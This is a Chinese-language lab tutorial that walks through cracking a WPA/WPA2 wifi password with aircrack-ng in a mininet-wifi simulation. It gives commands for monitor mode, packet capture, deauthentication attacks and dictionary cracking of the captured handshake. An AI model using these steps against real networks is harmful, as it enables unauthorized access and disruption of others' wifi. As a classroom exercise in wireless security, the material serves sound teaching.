---
# System prepended metadata

title: AirCrack-ng WPA/WPA2 加密 wifi 密碼

---

# AirCrack-ng WPA/WPA2 加密 wifi 密碼
修改自：[Day 27: 暴力破解 WPA/WPA2 加密 wifi 密碼](https://hackmd.io/EnlAL16QRQOIXqONiHbvAw?both)
![](https://i.imgur.com/vkAVMUq.png)
## 方法: 使用 aircrack-ng 軟體套件
## 實驗環境
- [mininet-wifi](https://github.com/intrig-unicamp/mininet-wifi)
    - [Pre-configured Virtual Machine](https://github.com/intrig-unicamp/mininet-wifi#pre-configured-virtual-machine)
        - [3.4GB Size] - Lubuntu 20.04 x64 - Mininet-WiFi (pass: wifi)
    - [Installation](https://github.com/intrig-unicamp/mininet-wifi#installation)
        - ubunru 16.04以上才能安裝
            1. step 1: $ sudo apt-get install git
            2. step 2: $ git clone https://github.com/intrig-unicamp/mininet-wifi
            3. step 3: $ cd mininet-wifi
            4. step 4: $ sudo util/install.sh -Wlnfv
    - 內建`aircrack-ng`
    - 如果沒有則sudo apt-get install aircrack-ng
## 模擬情境
sta 1: 攻擊者
透過 aircrack-ng 軟體套件進行密碼攻擊

sta 2 sta3 加入 ap1 裡頭

### Command
左下click > System Tools > Xterm

斷網
```shell 
sudo systemctl stop NetworkManager
```
copy mininet-wifi/examples/authentication.py 到 /tmp，
切換到/tmp，對authentication.py進行編輯。
```shell 
cp mininet-wifi/examples/authentication.py /tmp
vim /tmp/authentication.py
```

編輯成:
把 sta1 passwd,encrypt 拿掉;
複製 sat2 貼到下一行，改成sta3;
在addLink區塊，改成sta2,sta3。

![](https://i.imgur.com/Dkqvo1i.png)


#### 建立環境
```python 
sudo python authentication.py
```

#### 在環境中，開啟終端
```shell
xterm sta1 sta1 #為了區別 以下標記sta1(1),sta1(2)
sta2 ping sta3  #平常時刻:連線正常;攻擊時刻:會中斷
```
- 把 sta1 的網卡變成**monitor mode** 
In sta1(1):
    ```
    iwconfig #查看網路卡
    airmon-ng start sta1-wlan0 # yes 

    iwconfig # 監聽模式 Mode: Monitor

    airodump-ng sta1-wlan0mon #搜尋附近基地台
    # ssid: simplewifi
    # bssid: 02:00:00:00:03:00
    # 可以觀察到 兩台主機 sta1,sta2 有連到基地台
    # channel: 1
    ```

- 進行封包收集
In sta1(1):
    ```
    airodump-ng -w /tmp/wpatest -c 1 --bssid 02:00:00:00:03:00 sta1-wlan0mon
    ```

- 進行攻擊
主要是 de-authentication造成斷網，重新認證
In sta1(2):
    ```
    aireplay -0 10 -a 02:00:00:00:03:00 --ignore-nagative-one sta1-wlan0mon
    # -0: de-authentication的封包
    # -0 10: de-authentication的封包 送十次
    # -a 攻擊對象(bssid)設定
    可以觀察到sta2與sta3有斷線的情況
    ```
- **WPA handshake**
In sta2(1):
可以看到 **WPA handshake**
PS: 如果沒有看到**WPA handshake**的封包，就不行進行破解

- 進行破解
準備密碼檔: password.lst 
    >aircrack-ng 有內建陽春版的字典檔，其他可以去網路上 Download
    
    or
    
    > 程式生成所有可能密碼

    ```
    aircrack-ng -w password.lst /tmp/wpatest*.cap
    # 結果顯示 KEY FOUND![123456789a] 
    ```  
- 驗收
在 `authentication.py`中 sta2,sta3 的密碼(passwd='123456789a')，
對照 KEY FOUND![123456789a] 是一樣的，代表破解成功!


### Reference

[使用 Aircrack-ng 暴力破解 WPA/WPA2 加密 wifi 密碼](http://shazikai.blogspot.com/2015/01/aircrack-ng-wpawpa2-wifi.html)

##### 限制
需要密碼檔(password.lst) 夠強大，且station使用AP 上網，
且攻擊者網卡有支援監聽模式的狀態下，才有機會破解密碼。

如果密碼檔包含所有密碼組合，破解就會是時間的問題!
> WPA2 提供最高 63 位元長度的密碼

